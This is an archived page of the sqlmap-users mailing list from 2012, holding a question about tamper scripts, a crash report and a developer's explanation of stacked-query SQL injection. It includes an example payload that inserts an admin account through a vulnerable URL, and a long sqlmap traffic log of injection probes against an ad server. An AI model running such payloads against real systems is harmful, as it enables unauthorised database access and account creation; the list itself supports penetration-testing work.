sqlmap-users — sqlmap users mailing list

[sqlmap-users] how to use tamper scripts

[ml <ml...@sm...>]

hello guys

how to use tamper scripts?
  how to detect the  good tamper script.

The simplest is to put them all (or almost)
and let the software sqlmap doing his work

sincerely



-- 
gpg --keyserver pgp.mit.edu --recv-key C2626742
http://about.me/fakessh

Scanned and tagged as non-SPAM with DSPAM 3.10.2 by Your ISP.com

Re: [sqlmap-users] stacked queries

[ml <ml...@sm...>]

dear miroslav


I have serious inform me and I found a page "this"
http://stackoverflow.com/questions/4190175/combining-mutliple-wordpress-database-queries
http://stackoverflow.com/questions/1227835/sql-combine-two-tables-for-one-output
talking to other techniques.


I have learn a lot thank you

Le 2012-12-30 11:30, Miroslav Stampar a écrit :
> Hi.
>
> Stacked queries SQLi, or "SQL piggybacking", is a technique where you
> end the current injectable SQL command (most often with a standard
> character ";") and append a new independent SQL command.
>
> E.g. if injectable SQL command (inside page vuln.php) is 'SELECT *
> FROM users WHERE id=$_GET("id")' you can try to use stacked query 
> like
> this: 
>
> http://www.target.com/vuln.php?id=1 [8]; INSERT INTO users
> VALUES(1,'admin', 'pass')
>
> Kind regards,
> Miroslav Stampar
>
> On Sun, Dec 30, 2012 at 10:25 AM, ml <ml...@sm... [9]> wrote:
>
>> he guys
>>
>> I encounter problems when trying to shell insert into an existing
>> table
>>
>> the shell warns me of sql warnings on requests stacked queries
>>
>> I'm trying without success you can take the trouble to explain
>> http://comments.gmane.org/gmane.comp.security.sqlmap/2437 [1]
>> I do not know what is the stacked queries
>>
>> Please explain to me
>>
>> --
>> gpg --keyserver pgp.mit.edu [2] --recv-key C2626742
>> http://about.me/fakessh [3]
>>
>>
> 
> ------------------------------------------------------------------------------
>> Master Visual Studio, SharePoint, SQL, ASP.NET [4], C# 2012, HTML5,
>> CSS,
>> MVC, Windows 8 Apps, JavaScript and much more. Keep your skills
>> current
>> with LearnDevNow - 3,200 step-by-step video tutorials by Microsoft
>> MVPs and experts. ON SALE this month only -- learn more at:
>> http://p.sf.net/sfu/learnmore_123012 [5]
>> _______________________________________________
>> sqlmap-users mailing list
>> sql...@li... [6]
>> https://lists.sourceforge.net/lists/listinfo/sqlmap-users [7]
>
> --
> Miroslav Stampar
> http://about.me/stamparm [10]
>
> Links:
> ------
> [1] http://comments.gmane.org/gmane.comp.security.sqlmap/2437
> [2] http://pgp.mit.edu
> [3] http://about.me/fakessh
> [4] http://ASP.NET
> [5] http://p.sf.net/sfu/learnmore_123012
> [6] mailto:sql...@li...
> [7] https://lists.sourceforge.net/lists/listinfo/sqlmap-users
> [8] http://www.target.com/vuln.php?id=1
> [9] mailto:ml...@sm...
> [10] http://about.me/stamparm

-- 
gpg --keyserver pgp.mit.edu --recv-key C2626742
http://about.me/fakessh

Re: [sqlmap-users] stacked queries

[Miroslav S. <mir...@gm...>]

Hi.

Stacked queries SQLi, or "SQL piggybacking", is a technique where you end
the current injectable SQL command (most often with a standard character
";") and append a new independent SQL command.

E.g. if injectable SQL command (inside page vuln.php) is 'SELECT * FROM
users WHERE id=$_GET("id")' you can try to use stacked query like this:

http://www.target.com/vuln.php?id=1; INSERT INTO users VALUES(1,'admin',
'pass')

Kind regards,
Miroslav Stampar

On Sun, Dec 30, 2012 at 10:25 AM, ml <ml...@sm...> wrote:

> he guys
>
>
> I encounter problems when trying to shell insert into an existing table
>
> the shell warns me of sql warnings on requests stacked queries
>
> I'm trying without success you can take the trouble to explain
> http://comments.gmane.org/gmane.comp.security.sqlmap/2437
> I do not know what is the stacked queries
>
> Please explain to me
>
> --
> gpg --keyserver pgp.mit.edu --recv-key C2626742
> http://about.me/fakessh
>
>
> ------------------------------------------------------------------------------
> Master Visual Studio, SharePoint, SQL, ASP.NET, C# 2012, HTML5, CSS,
> MVC, Windows 8 Apps, JavaScript and much more. Keep your skills current
> with LearnDevNow - 3,200 step-by-step video tutorials by Microsoft
> MVPs and experts. ON SALE this month only -- learn more at:
> http://p.sf.net/sfu/learnmore_123012
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>
>


-- 
Miroslav Stampar
http://about.me/stamparm

Re: [sqlmap-users] sqlmap bug, unhandled exception in sqlmap/1.0-dev-648d91d

[Miroslav S. <mir...@gm...>]

Hi.

Thank you for your report and find it "patched" in the latest revision.
Thing is that you've left out of disk space on drive used for storing
traffic file.

Kind regards,
Miroslav Stampar

On Sun, Dec 30, 2012 at 6:31 AM, 沸水浮冰 <sf...@gm...> wrote:

> [01:13:42] [CRITICAL] unhandled exception in sqlmap/1.0-dev-648d91d, retry
> your run with the latest development version from the GitHub repository. If
> the exception persists, please send by e-mail to
> 'sql...@li...' or open a new issue at '
> https://github.com/sqlmapproject/sqlmap/issues/new' with the following
> text and any information required to reproduce the bug. The developers will
> try to reproduce the bug, fix it accordingly and get back to
> you.
> sqlmap version:
> 1.0-dev-648d91d
>
> Python version:
> 2.6.5
>
> Operating system:
> posix
>
> Command line: ./sqlmap.py -u
> *******************************************************************
> --dbms=mssql --level=5 --risk=3
> -tamper=space2mssqlhash.py,charunicodeencode.py
>
> Technique:
> BOOLEAN
>
> Back-end DBMS: Microsoft SQL Server
> (identified)
>
> Traceback (most recent call last):
>   File "/pentest/database/sqlmap/temp2/sqlmap-dev/_sqlmap.py", line 73, in
> main
>     start()
>   File
> "/pentest/database/sqlmap/temp2/sqlmap-dev/lib/controller/controller.py",
> line 472, in start
>     injection = checkSqlInjection(place, parameter, value)
>   File
> "/pentest/database/sqlmap/temp2/sqlmap-dev/lib/controller/checks.py", line
> 362, in checkSqlInjection
>     Request.queryPage(genCmpPayload(), place, raise404=False)
>   File "/pentest/database/sqlmap/temp2/sqlmap-dev/lib/request/connect.py",
> line 802, in queryPage
>     page, headers, code = Connect.getPage(url=uri, get=get, post=post,
> cookie=cookie, ua=ua, referer=referer, host=host, silent=silent,
> method=method, auxHeaders=auxHeaders, response=response, raise404=raise404,
> ignoreTimeout=timeBasedCompare)
>   File "/pentest/database/sqlmap/temp2/sqlmap-dev/lib/request/connect.py",
> line 547, in getPage
>     logHTTPTraffic(requestMsg, "%s%s\n\n%s" % (responseMsg, logHeaders,
> (page or "")[:MAX_CONNECTION_CHUNK_SIZE]))
>   File "/pentest/database/sqlmap/temp2/sqlmap-dev/lib/core/common.py",
> line 2078, in logHTTPTraffic
>     dataToTrafficFile("%s%s" % (responseLogMsg, os.linesep))
>   File "/pentest/database/sqlmap/temp2/sqlmap-dev/lib/core/common.py",
> line 733, in dataToTrafficFile
>     conf.trafficFP.write(data)
>   File "/usr/lib/python2.6/codecs.py", line 686, in write
>     return self.writer.write(data)
>   File "/usr/lib/python2.6/codecs.py", line 352, in write
>     self.stream.write(data)
> IOError: [Errno 28] No space left on device
>
>
> ------------------------------------------------------------------------------
> Master Visual Studio, SharePoint, SQL, ASP.NET, C# 2012, HTML5, CSS,
> MVC, Windows 8 Apps, JavaScript and much more. Keep your skills current
> with LearnDevNow - 3,200 step-by-step video tutorials by Microsoft
> MVPs and experts. ON SALE this month only -- learn more at:
> http://p.sf.net/sfu/learnmore_123012
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>
>


-- 
Miroslav Stampar
http://about.me/stamparm

[sqlmap-users] stacked queries

[ml <ml...@sm...>]

he guys


I encounter problems when trying to shell insert into an existing table

the shell warns me of sql warnings on requests stacked queries

I'm trying without success you can take the trouble to explain
http://comments.gmane.org/gmane.comp.security.sqlmap/2437
I do not know what is the stacked queries

Please explain to me

-- 
gpg --keyserver pgp.mit.edu --recv-key C2626742
http://about.me/fakessh

[sqlmap-users] sqlmap bug, unhandled exception in sqlmap/1.0-dev-648d91d

[沸水浮冰 <sf...@gm...>]

[01:13:42] [CRITICAL] unhandled exception in sqlmap/1.0-dev-648d91d, retry
your run with the latest development version from the GitHub repository. If
the exception persists, please send by e-mail to
'sql...@li...' or open a new issue at '
https://github.com/sqlmapproject/sqlmap/issues/new' with the following text
and any information required to reproduce the bug. The developers will try
to reproduce the bug, fix it accordingly and get back to
you.
sqlmap version:
1.0-dev-648d91d

Python version:
2.6.5

Operating system:
posix

Command line: ./sqlmap.py -u
*******************************************************************
--dbms=mssql --level=5 --risk=3
-tamper=space2mssqlhash.py,charunicodeencode.py

Technique:
BOOLEAN

Back-end DBMS: Microsoft SQL Server
(identified)

Traceback (most recent call last):
  File "/pentest/database/sqlmap/temp2/sqlmap-dev/_sqlmap.py", line 73, in
main
    start()
  File
"/pentest/database/sqlmap/temp2/sqlmap-dev/lib/controller/controller.py",
line 472, in start
    injection = checkSqlInjection(place, parameter, value)
  File
"/pentest/database/sqlmap/temp2/sqlmap-dev/lib/controller/checks.py", line
362, in checkSqlInjection
    Request.queryPage(genCmpPayload(), place, raise404=False)
  File "/pentest/database/sqlmap/temp2/sqlmap-dev/lib/request/connect.py",
line 802, in queryPage
    page, headers, code = Connect.getPage(url=uri, get=get, post=post,
cookie=cookie, ua=ua, referer=referer, host=host, silent=silent,
method=method, auxHeaders=auxHeaders, response=response, raise404=raise404,
ignoreTimeout=timeBasedCompare)
  File "/pentest/database/sqlmap/temp2/sqlmap-dev/lib/request/connect.py",
line 547, in getPage
    logHTTPTraffic(requestMsg, "%s%s\n\n%s" % (responseMsg, logHeaders,
(page or "")[:MAX_CONNECTION_CHUNK_SIZE]))
  File "/pentest/database/sqlmap/temp2/sqlmap-dev/lib/core/common.py", line
2078, in logHTTPTraffic
    dataToTrafficFile("%s%s" % (responseLogMsg, os.linesep))
  File "/pentest/database/sqlmap/temp2/sqlmap-dev/lib/core/common.py", line
733, in dataToTrafficFile
    conf.trafficFP.write(data)
  File "/usr/lib/python2.6/codecs.py", line 686, in write
    return self.writer.write(data)
  File "/usr/lib/python2.6/codecs.py", line 352, in write
    self.stream.write(data)
IOError: [Errno 28] No space left on device

Re: [sqlmap-users] Charset problem

[Miroslav S. <mir...@gm...>]

Hi Kode.

You've sent a traffic file for a detection phase (and it doesn't have any
useful information inside).

>From symptoms described you've most probably encountered time-based false
positive SQLi. Please retry it again with --flush-session.

Kind regards,
Miroslav Stampar

On Mon, Dec 24, 2012 at 12:31 AM, Kode Gray <kod...@hu...> wrote:

> PenTesting ad server. Not sure why the charset is messy when it spits out
> database names. Sqlmap claims its ASCII.
> Any guidance you can give is appreciated.
>
> File is attached
>
> -KodeGray-
>
>
>
>
> ------------------------------------------------------------------------------
> Master HTML5, CSS3, ASP.NET, MVC, AJAX, Knockout.js, Web API and
> much more. Get web development skills now with LearnDevNow -
> 350+ hours of step-by-step video tutorials by Microsoft MVPs and experts.
> SALE $99.99 this month only -- learn more at:
> http://p.sf.net/sfu/learnmore_122812
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>
>


-- 
Miroslav Stampar
http://about.me/stamparm

[sqlmap-users] Charset problem

[Kode G. <kod...@hu...>]

HTTP request [#1]:
GET /ads.php?zone_id=32 HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: ads.SomeURL
Pragma: no-cache
Cache-control: no-cache,no-store
Connection: close

HTTP response [#1] (200 OK):
Content-length: 636
Uri: http://ads.SomeURL:80/ads.php?zone_id=32
Server: Logger/0.1
Connection: close
Cache-control: private, no-cache, no-cache, proxy-revalidate
Date: 
Content-type: text/html

<HTML><HEAD><TITLE>Ad delivery system</TITLE><meta name="keywords" content="28009" def="0" z_id="32" ad_id="154527" qw="1" isave="no" /> <meta name="description" content="" /> <style type="text/css"><!-- a img   { border: 0; } body    { margin: 0; padding: 0; text-align: center;} --> </style> </HEAD><BODY style="background-color:transparent;"><iframe id="32_1356304976" name="32_1356304976" src="http://ads2.SomeOtherURL.com/ads?spot_id=4206" width="315" height="300" scrolling="no" frameborder="0" allowtransparency="true" marginwidth="0" marginheight="0" z_id="32" c_id="28009"  ad_id="154527" def="0" qw="1" ></iframe> </BODY></HTML>

############################################################################

HTTP request [#2]:
GET /ads.php?zone_id=32 HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: ads.SomeURL
Pragma: no-cache
Cache-control: no-cache,no-store
Connection: close

HTTP response [#2] (200 OK):
Content-length: 969
Set-cookie: tj_fc=cid_100662_expires_1356391377|; Expires=Tue Jan 22 18:22:57 2013
Uri: http://ads.SomeURL:80/ads.php?zone_id=32
Server: Logger/0.1
Connection: close
Cache-control: private, no-cache, no-cache, proxy-revalidate
Date: 
Content-type: text/html

<!DOCTYPE html>
<html>
	<head>
		<!--c_id=100662 def="0" z_id="49" ad_id="843351" qw="0" isave="Yes"-->
		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
		<title>Ad delivery system</title>
		<style type="text/css">
			<!--
			a img { border: 0; }
			body { margin: 0; padding: 0; text-align: center;}
			-->
		</style>
	</head>
	<body style="background-color:transparent;">
		<a href="http://ads.SomeURL/click?data1=G0TmRaaTvylLFloPzyxj6pHtCpDME9VkRBY_DS1MPTJTZRTJscjVqq408KPYQgzku0YXqEAjrMFlMM_nrbY-tFClKyy-qSXIf9xtf98XaLg6d2MM6cCCw7mL_l9vrGf0WqDnhjoZZc9MVgrw7xYHhl1nXKVER-EOlmIIQAp9yDk=&data2=k0GBOlituWmPO73pdO3p42b3G89ucHS-I8XNu5ly2WeXCkHSk_yZM7v7-OEaknXB&qw=0&def=0&campaign_id=100662&ad_id=843351&zone_id=49&site_id=0&bid_id=230535&goal=0&x=1" target="_blank" rel="nofollow" >
			<img   src="http://media.SomeURL/ads/000/843/351/image843351.gif" alt="" />
		</a>
		
	</body>
</html>

############################################################################

HTTP request [#3]:
GET /ads.php?zone_id=32 HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: ads.SomeURL
Pragma: no-cache
Cache-control: no-cache,no-store
Cookie: tj_fc=cid_100662_expires_1356391377|
Connection: close

HTTP response [#3] (200 OK):
Content-length: 659
Set-cookie: tj_fc=cid_100662_expires_1356391377|cid_73031_expires_1356391377|; Expires=Tue Jan 22 18:22:57 2013
Uri: http://ads.SomeURL:80/ads.php?zone_id=32
Server: Logger/0.1
Connection: close
Cache-control: private, no-cache, no-cache, proxy-revalidate
Date: 
Content-type: text/html

<HTML><HEAD><TITLE>Ad delivery system</TITLE><meta name="keywords" content="73031" def="0" z_id="49" ad_id="466686" qw="0" isave="yes" /> <meta name="description" content="" /> <style type="text/css"><!-- a img   { border: 0; } body    { margin: 0; padding: 0; text-align: center;} --> </style> </HEAD><BODY style="background-color:transparent;"><iframe id="49_1356304977" name="49_1356304977" src="http://media.SomeURL/cdn_custom_ads/crakmedia/USA/6.html" width="315" height="300" scrolling="no" frameborder="0" allowtransparency="true" marginwidth="0" marginheight="0" z_id="49" c_id="73031"  ad_id="466686" def="0" qw="0" ></iframe> </BODY></HTML>

############################################################################

HTTP request [#4]:
GET /ads.php?zone_id=32 HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: ads.SomeURL
Pragma: no-cache
Cache-control: no-cache,no-store
Cookie: tj_fc=cid_100662_expires_1356391377|cid_73031_expires_1356391377|
Connection: close

HTTP response [#4] (200 OK):
Content-length: 641
Uri: http://ads.SomeURL:80/ads.php?zone_id=32
Server: Logger/0.1
Connection: close
Cache-control: private, no-cache, no-cache, proxy-revalidate
Date: 
Content-type: text/html

<HTML><HEAD><TITLE>Ad delivery system</TITLE><meta name="keywords" content="110245" def="0" z_id="49" ad_id="840137" qw="0" isave="yes" /> <meta name="description" content="" /> <style type="text/css"><!-- a img   { border: 0; } body    { margin: 0; padding: 0; text-align: center;} --> </style> </HEAD><BODY style="background-color:transparent;"><iframe id="49_1356304977" name="49_1356304977" src="http://ads2.SomeOtherURL.com/ads?spot_id=172205" width="315" height="300" scrolling="no" frameborder="0" allowtransparency="true" marginwidth="0" marginheight="0" z_id="49" c_id="110245"  ad_id="840137" def="0" qw="0" ></iframe> </BODY></HTML>

############################################################################

HTTP request [#5]:
GET /ads.php?zone_id=32 HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: ads.SomeURL
Pragma: no-cache
Cache-control: no-cache,no-store
Cookie: tj_fc=cid_100662_expires_1356391377|cid_73031_expires_1356391377|
Connection: close

HTTP response [#5] (200 OK):
Content-length: 641
Uri: http://ads.SomeURL:80/ads.php?zone_id=32
Server: Logger/0.1
Connection: close
Cache-control: private, no-cache, no-cache, proxy-revalidate
Date: 
Content-type: text/html

<HTML><HEAD><TITLE>Ad delivery system</TITLE><meta name="keywords" content="110245" def="0" z_id="49" ad_id="840137" qw="0" isave="yes" /> <meta name="description" content="" /> <style type="text/css"><!-- a img   { border: 0; } body    { margin: 0; padding: 0; text-align: center;} --> </style> </HEAD><BODY style="background-color:transparent;"><iframe id="49_1356304977" name="49_1356304977" src="http://ads2.SomeOtherURL.com/ads?spot_id=172205" width="315" height="300" scrolling="no" frameborder="0" allowtransparency="true" marginwidth="0" marginheight="0" z_id="49" c_id="110245"  ad_id="840137" def="0" qw="0" ></iframe> </BODY></HTML>

############################################################################

HTTP request [#6]:
GET /ads.php?zone_id=4599 HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: ads.SomeURL
Pragma: no-cache
Cache-control: no-cache,no-store
Cookie: tj_fc=cid_100662_expires_1356391377|cid_73031_expires_1356391377|
Connection: close

HTTP response [#6] (200 OK):
Content-length: 907
Uri: http://ads.SomeURL:80/ads.php?zone_id=4599
Server: Logger/0.1
Connection: close
Cache-control: private, no-cache, no-cache, proxy-revalidate
Date: 
Content-type: text/html

<!DOCTYPE html>
<html>
	<head>
		<!--c_id=74190 def="1" z_id="4599" ad_id="474219" qw="0" isave="Yes"-->
		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
		<title>Ad delivery system</title>
		<style type="text/css">
			<!--
			a img { border: 0; }
			body { margin: 0; padding: 0; text-align: center;}
			-->
		</style>
	</head>
	<body style="background-color:transparent;">
		<a href="http://ads.SomeURL/click?data1=G0TmRaaTvylLFloPzyxj6g14iIElZhbClXKhEmCmewmuzyaW3wH-nJg6yf2SMVOaR5ev_F_G4v6rXVSmx9I2NSg78mMZx8lE20xiIuQYQXA=&data2=vwSlwOKF3ChcIk-XCcocsWb3G89ucHS-I8XNu5ly2WeXCkHSk_yZM7v7-OEaknXB&qw=0&def=1&campaign_id=74190&ad_id=474219&zone_id=4599&site_id=0&bid_id=193555&goal=0&x=1" target="_blank" rel="nofollow" >
			<img   src="http://media.SomeURL/ads/000/474/219/image474219.jpg" alt="" />
		</a>
		
	</body>
</html>

############################################################################

HTTP request [#7]:
GET /ads.php?zone_id=3929 HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: ads.SomeURL
Pragma: no-cache
Cache-control: no-cache,no-store
Cookie: tj_fc=cid_100662_expires_1356391377|cid_73031_expires_1356391377|
Connection: close

HTTP response [#7] (200 OK):
Content-length: 927
Uri: http://ads.SomeURL:80/ads.php?zone_id=3929
Server: Logger/0.1
Connection: close
Cache-control: private, no-cache, no-cache, proxy-revalidate
Date: 
Content-type: text/html

<!DOCTYPE html>
<html>
	<head>
		<!--c_id=54101 def="1" z_id="3929" ad_id="345254" qw="0" isave="Yes"-->
		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
		<title>Ad delivery system</title>
		<style type="text/css">
			<!--
			a img { border: 0; }
			body { margin: 0; padding: 0; text-align: center;}
			-->
		</style>
	</head>
	<body style="background-color:transparent;">
		<a href="http://ads.SomeURL/click?data1=G0TmRaaTvylLFloPzyxj6hKhKWHWPME8I_tiZmt1u23GseMMkGLnMNYUH4JPLyGMPpP5mWIpXWEMjghVdJEr7KGFIa_atVKjlmpDsTFm5jIplDOjIORAv2NCxdXKfgaB&data2=Vb6lIC--3RZ3mEjLNk-PFWb3G89ucHS-I8XNu5ly2WeXCkHSk_yZM7v7-OEaknXB&qw=0&def=1&campaign_id=54101&ad_id=345254&zone_id=3929&site_id=0&bid_id=174018&goal=0&x=1" target="_blank" rel="nofollow" >
			<img   src="http://media.SomeURL/ads/000/345/254/image345254.jpg" alt="" />
		</a>
		
	</body>
</html>

############################################################################

HTTP request [#8]:
GET /ads.php?zone_id=32%22%27%2C%5D%5D%5D%2C%5D%2C%22 HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: ads.SomeURL
Pragma: no-cache
Cache-control: no-cache,no-store
Cookie: tj_fc=cid_100662_expires_1356391377|cid_73031_expires_1356391377|
Connection: close

HTTP response [#8] (200 OK):
Content-length: 636
Uri: http://ads.SomeURL:80/ads.php?zone_id=32%22%27%2C%5D%5D%5D%2C%5D%2C%22
Server: Logger/0.1
Connection: close
Cache-control: private, no-cache, no-cache, proxy-revalidate
Date: 
Content-type: text/html

<HTML><HEAD><TITLE>Ad delivery system</TITLE><meta name="keywords" content="28009" def="0" z_id="32" ad_id="154527" qw="1" isave="no" /> <meta name="description" content="" /> <style type="text/css"><!-- a img   { border: 0; } body    { margin: 0; padding: 0; text-align: center;} --> </style> </HEAD><BODY style="background-color:transparent;"><iframe id="32_1356304978" name="32_1356304978" src="http://ads2.SomeOtherURL.com/ads?spot_id=4206" width="315" height="300" scrolling="no" frameborder="0" allowtransparency="true" marginwidth="0" marginheight="0" z_id="32" c_id="28009"  ad_id="154527" def="0" qw="1" ></iframe> </BODY></HTML>

############################################################################

HTTP request [#9]:
GET /ads.php?zone_id=2073-2041 HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: ads.SomeURL
Pragma: no-cache
Cache-control: no-cache,no-store
Cookie: tj_fc=cid_100662_expires_1356391377|cid_73031_expires_1356391377|
Connection: close

HTTP response [#9] (200 OK):
Content-length: 907
Uri: http://ads.SomeURL:80/ads.php?zone_id=2073-2041
Server: Logger/0.1
Connection: close
Cache-control: private, no-cache, no-cache, proxy-revalidate
Date: 
Content-type: text/html

<!DOCTYPE html>
<html>
	<head>
		<!--c_id=21788 def="1" z_id="2073" ad_id="116568" qw="0" isave="Yes"-->
		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
		<title>Ad delivery system</title>
		<style type="text/css">
			<!--
			a img { border: 0; }
			body { margin: 0; padding: 0; text-align: center;}
			-->
		</style>
	</head>
	<body style="background-color:transparent;">
		<a href="http://ads.SomeURL/click?data1=G0TmRaaTvylLFloPzyxj6ndkL-ggEbs2eG1pvmk8cd49FxGvxXlVWpID_6wKyZH8_-RCZ62kw7I7YjTkbAg98Q0XfsmT4a2XZsnuI5Ldnzg=&data2=6gaIFb9aTg-OFMiVsoBp0tGcrRHcUHLgU3UyH0BNMuAMNE73ZfvjevbPhcITgorz&qw=0&def=1&campaign_id=21788&ad_id=116568&zone_id=2073&site_id=0&bid_id=122225&goal=0&x=1" target="_blank" rel="nofollow" >
			<img   src="http://media.SomeURL/ads/000/116/568/image116568.jpg" alt="" />
		</a>
		
	</body>
</html>

############################################################################

HTTP request [#10]:
GET /ads.php?zone_id=32oRXr HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: ads.SomeURL
Pragma: no-cache
Cache-control: no-cache,no-store
Cookie: tj_fc=cid_100662_expires_1356391377|cid_73031_expires_1356391377|
Connection: close

HTTP response [#10] (200 OK):
Content-length: 641
Uri: http://ads.SomeURL:80/ads.php?zone_id=32oRXr
Server: Logger/0.1
Connection: close
Cache-control: private, no-cache, no-cache, proxy-revalidate
Date: 
Content-type: text/html

<HTML><HEAD><TITLE>Ad delivery system</TITLE><meta name="keywords" content="110245" def="0" z_id="49" ad_id="840137" qw="0" isave="yes" /> <meta name="description" content="" /> <style type="text/css"><!-- a img   { border: 0; } body    { margin: 0; padding: 0; text-align: center;} --> </style> </HEAD><BODY style="background-color:transparent;"><iframe id="49_1356304978" name="49_1356304978" src="http://ads2.SomeOtherURL.com/ads?spot_id=172205" width="315" height="300" scrolling="no" frameborder="0" allowtransparency="true" marginwidth="0" marginheight="0" z_id="49" c_id="110245"  ad_id="840137" def="0" qw="0" ></iframe> </BODY></HTML>

############################################################################

HTTP request [#11]:
GET /ads.php?zone_id=32%29%20AND%205081%3D9278 HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: ads.SomeURL
Pragma: no-cache
Cache-control: no-cache,no-store
Connection: close

HTTP response [#11] (200 OK):
Content-length: 969
Set-cookie: tj_fc=cid_100662_expires_1356391379|; Expires=Tue Jan 22 18:22:59 2013
Uri: http://ads.SomeURL:80/ads.php?zone_id=32%29%20AND%205081%3D9278
Server: Logger/0.1
Connection: close
Cache-control: private, no-cache, no-cache, proxy-revalidate
Date: 
Content-type: text/html

<!DOCTYPE html>
<html>
	<head>
		<!--c_id=100662 def="0" z_id="49" ad_id="843351" qw="0" isave="Yes"-->
		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
		<title>Ad delivery system</title>
		<style type="text/css">
			<!--
			a img { border: 0; }
			body { margin: 0; padding: 0; text-align: center;}
			-->
		</style>
	</head>
	<body style="background-color:transparent;">
		<a href="http://ads.SomeURL/click?data1=G0TmRaaTvylLFloPzyxj6pHtCpDME9VkRBY_DS1MPTJTZRTJscjVqq408KPYQgzku0YXqEAjrMFlMM_nrbY-tFClKyy-qSXIf9xtf98XaLg6d2MM6cCCw7mL_l9vrGf0WqDnhjoZZc9MVgrw7xYHhl1nXKVER-EOlmIIQAp9yDk=&data2=k0GBOlituWmPO73pdO3p42b3G89ucHS-I8XNu5ly2WeXCkHSk_yZM7v7-OEaknXB&qw=0&def=0&campaign_id=100662&ad_id=843351&zone_id=49&site_id=0&bid_id=230535&goal=0&x=1" target="_blank" rel="nofollow" >
			<img   src="http://media.SomeURL/ads/000/843/351/image843351.gif" alt="" />
		</a>
		
	</body>
</html>

############################################################################

HTTP request [#12]:
GET /ads.php?zone_id=32%29%20AND%203575%3D3575 HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: ads.SomeURL
Pragma: no-cache
Cache-control: no-cache,no-store
Connection: close

HTTP response [#12] (200 OK):
Content-length: 636
Uri: http://ads.SomeURL:80/ads.php?zone_id=32%29%20AND%203575%3D3575
Server: Logger/0.1
Connection: close
Cache-control: private, no-cache, no-cache, proxy-revalidate
Date: 
Content-type: text/html

